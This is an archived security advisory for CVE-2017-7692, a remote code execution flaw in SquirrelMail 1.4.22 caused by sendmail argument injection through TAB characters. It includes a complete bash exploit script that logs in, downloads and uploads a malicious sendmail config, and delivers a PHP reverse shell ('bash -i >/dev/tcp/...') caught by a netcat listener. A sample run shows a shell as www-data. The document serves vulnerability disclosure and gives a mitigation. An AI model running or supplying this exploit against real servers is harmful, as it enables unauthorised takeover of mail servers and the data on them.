Exploit the possiblities

SquirrelMail 1.4.22 Remote Code Execution

SquirrelMail 1.4.22 Remote Code Execution
Posted Apr 23, 2017
Authored by Dawid Golunski

SquirrelMail versions 1.4.22 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2017-7692
MD5 | aca9c60af6e94fd27e23b8ce1f25f382

SquirrelMail 1.4.22 Remote Code Execution

Change Mirror Download


__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/


Follow @dawid_golunski



~~~~~~~~~~~~ ExploitBox.io ~~~~~~~~~~~~~~~~
Interested in security / vulns / exploits ?
Check out the new project of the author of this advisory:

ExploitBox.io
A Playground & Labs for security folks into
hacking & the art of exploitation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




============================================
- Author: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com

- CVE-2017-7692
- Release date: 22.04.2017
- Revision 1.0
- Severity: Critical
=============================================


I. VULNERABILITY
-------------------------

SquirrelMail <= 1.4.22 Remote Code Execution


II. BACKGROUND
-------------------------

"
SquirrelMail is a standards-based webmail package written in PHP.
It includes built-in pure PHP support for the IMAP and SMTP protocols, and all
pages render in pure HTML 4.0 (with no JavaScript required) for maximum
compatibility across browsers. It has very few requirements and is very easy
to configure and install. SquirrelMail has all the functionality you would
want from an email client, including strong MIME support, address books, and
folder manipulation."

https://squirrelmail.org/about/

III. INTRODUCTION
-------------------------

SquirrelMail is affected by a critical Remote Code Execution vulnerability
which stems from insufficient escaping of user-supplied data when
SquirrelMail has been configured with Sendmail as the main transport.
An authenticated attacker may be able to exploit the vulnerability
to execute arbitrary commands on the target and compromise the remote
system.

IV. DESCRIPTION
-------------------------

The vulnerability is similar to the following vulnerabilities previously discovered
by the author of this advisory:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html


When SquirrelMail has been configured with Sendmail as delivery transport,
SquirrelMail uses the following function to send out user emails:

-----[ ./class/deliver/Deliver_SendMail.class.php ]-----

function initStream($message, $sendmail_path, $ignore=0, $ignore='', $ignore='', $ignore='', $ignore='', $ignore=false, $ignore='') {
$rfc822_header = $message->rfc822_header;
$from = $rfc822_header->from[0];
$envelopefrom = trim($from->mailbox.'@'.$from->host);
$envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
// save executed command for future reference
$this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
// open process handle for writing
$stream = popen(escapeshellcmd($this->sendmail_command), "w");
return $stream;
}

---------------------------------------------------------


SquirrelMail allows authenticated users to control envelopefrom (Return-Path) address
through the webmail web interface.

As we can see it calls str_replace() to sanitize the user input to prevent
injection of additional parameters to the sendmail command.
Unfortunately it does not take into account \t (TAB) character which can be
used by attackers to inject additional parameters.


If attacker sets their email address (Return-Path) in the options to
attacker@localhost -oQ/tmp/ -X/tmp/sqpoc

and then sends a new email.
The sendmail program will be called with the following arguments:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-i]
Arg no. 2 == [-t]
Arg no. 3 == [-fattacker@localhost]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/tmp/sqpoc]

which will result in /tmp/sqpc file created on disk with email log (-X parameter
causes sendmail to save the debug/maillog into a file).


As demonstrated by the PoC exploit below, attacker can also inject -Cparameter to
provide a malicious sendmail config file which can be uploaded as an attachment to
achieve arbitrary command execution.


V. PROOF OF CONCEPT EXPLOIT
-------------------------


-----[ SquirrelMail_RCE_exploit.sh ]------

#!/bin/bash
#
int='\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/

SquirrelMail <= 1.4.22 Remote Code Execution PoC Exploit (CVE-2017-7692)

SquirrelMail_RCE_exploit.sh (ver. 1.0)

Discovered and coded by

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

ExploitBox project:
https://ExploitBox.io

\033[0m'

# Quick and messy PoC for SquirrelMail webmail application.
# It contains payloads for 2 vectors:
# * File Write
# * RCE
# It requires user credentials and that SquirrelMail uses
# Sendmail method as email delivery transport
#
#
# Full advisory URL:
# https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
#
# Tested on: # Ubuntu 16.04
# squirrelmail package version:
# 2:1.4.23~svn20120406-2ubuntu1.16.04.1
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
# Stay tuned for my new project - ExploitBox
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------

sqspool="/var/spool/squirrelmail/attach/"

echo -e "$int"
#echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n"
#echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n"
#echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n"


# Base URL
if [ $# -ne 1 ]; then
echo -e "Usage: \n$0 SquirrelMail_URL"
echo -e "Example: \n$0 http://target/squirrelmail/ \n"

exit 2
fi
URL="$1"

# Log in
echo -e "\n[*] Enter SquirrelMail user credentials"
read -p "user: " squser
read -sp "pass: " sqpass

echo -e "\n\n[*] Logging in to SquirrelMail at $URL"
curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect
if [ $? -eq 0 ]; then
echo "Invalid creds"
exit 2
fi
sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"


# Prepare Sendmail cnf
#
# * The config will launch php via the following stanza:
#
# Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
# T=DNS/RFC822/X-Unix,
# A=php -- $u $h ${client_addr}
#
wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf

# Upload config
echo -e "\n\n[*] Uploading Sendmail config"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`"
if [ ${#attachid} -lt 32 ]; then
echo "Something went wrong. Failed to upload the sendmail file."
exit 2
fi

# Create Sendmail cmd string according to selected payload
echo -e "\n\n[?] Select payload\n"
# SELECT PAYLOAD
echo "1 - File write (into /tmp/sqpoc)"
echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)"
echo
read -p "[1-2] " pchoice

case $pchoice in
1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc"
;;

2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid"
;;
esac

if [ $pchoice -eq 2 ]; then
echo
read -p "Reverese shell IP: " reverse_ip
read -p "Reverese shell PORT: " reverse_port
fi

# Reverse shell code
phprevsh="
<?php
\$cmd = \"/bin/bash -c 'bash -i >/dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\";
file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd);
system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\");
?>"


# Set sendmail params in user settings
echo -e "\n[*] Injecting Sendmail command parameters"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null
if [ $? -ne 0 ]; then
echo "Failed to inject sendmail parameters"
exit 2
fi

# Send email which triggers the RCE vuln and runs phprevsh
echo -e "\n[*] Sending the email to trigger the vuln"
(sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \
-d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) &

if [ $pchoice -eq 2 ]; then
echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port"
nc -vv -l -p $reverse_port
else
echo -e "\n[*] The test file should have been written at /tmp/sqpoc"
fi

grep -q "302 Found" /tmp/sheaders
if [ $? -eq 1 ]; then
echo "There was a problem with sending email"
exit 2
fi


# Done
echo -e "\n[*] All done. Exiting"



-------[ EOF ]--------



Example run:
~~~~~~~~~~~~

$ ./SquirrelMail_RCE_exploit.sh http://xenial/squirrelmail/

__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/

SquirrelMail <= 1.4.22 Remote Code Execution PoC Exploit (CVE-2017-7692)

SquirrelMail_RCE_exploit.sh (ver. 1.0)

Discovered and coded by

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

ExploitBox project:
https://ExploitBox.io



[*] Enter SquirrelMail user credentials
user: attacker
pass:

[*] Logging in to SquirrelMail at http://xenial/squirrelmail/


[*] Uploading Sendmail config


[?] Select payload

1 - File write (into /tmp/sqpoc)
2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)

[1-2] 2

Reverese shell IP: 192.168.57.1
Reverese shell PORT: 1337

[*] Injecting Sendmail command parameters

[*] Sending the email to trigger the vuln

[*] Waiting for shell on 192.168.57.1 port 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.57.3] port 1337 [tcp/*] accepted (family 2, sport 60608)
bash: cannot set terminal process group (12208): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vulnsys:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@vulnsys:/tmp$ dpkg -l | grep squirrelmail
dpkg -l | grep squirrelmail
ii squirrelmail 2:1.4.23~svn20120406-2ubuntu1.16.04.1 all Webmail for nuts
www-data@vulnsys:/tmp$ exit
exit
exit

[*] All done. Exiting


Video PoC:
~~~~~~~~~~~~

https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html



VI. BUSINESS IMPACT
-------------------------

A successful exploitation could let remote attackers to gain access to
the target server in the context of the web server account which could
lead to a full compromise of the web application.


VII. SYSTEMS AFFECTED
-------------------------

The latest version of SquirrelMail 1.4.22 and below are affected.

VIII. SOLUTION / VENDOR RESPONSE
-------------------------

The vulnerability was first reported to SquirrelMail vendor by the
author of this advisory which resulted in CVE-ID (2017-5181) issued on 4th
January. The vendor requested more time due to personal issues.

The vulnerability was however discovered and published in April by another
researcher on full-disclosure list which triggered the release
of this advisory without an official solution available.

As a temporary solution users can switch to SMTP based transport (as
opposed to Sendmail).

As advised by MITRE, this vulnerability should now be tracked under the
new CVEID - CVE-2017-7692.

Vendor has been advised that the isue is now public. No response has been
received yet.

IX. REFERENCES
-------------------------

https://legalhackers.com

https://ExploitBox.io

This / CVE-2017-7692 advisory URL:
https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html

Video PoC exploit:
https://legalhackers.com/videos/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html

Exploit code:
The simple PoC shown above is available here:
https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh
https://legalhackers.com/exploits/sendmail-exploit.cnf

CVE-2017-7692
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7692

Vendor site:
https://squirrelmail.org

Related OSS-SECURITY /full-disclosure messages:
http://seclists.org/fulldisclosure/2017/Apr/89
http://www.openwall.com/lists/oss-security/2017/04/19/7



Similar vulnerabilities discovered by the author (PHPMailer & SwiftMailer):

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html


X. CREDITS
-------------------------

The vulnerability was first discovered/reported by Dawid Golunski
dawid (at) legalhackers (dot) com
https://legalhackers.com

Filippo Cavallarin, who also reported the vulnerability at a later date
(see the oss-security thread referenced below for details)


XI. REVISION HISTORY
-------------------------

22.04.2017 - Advisory released


XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    12 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close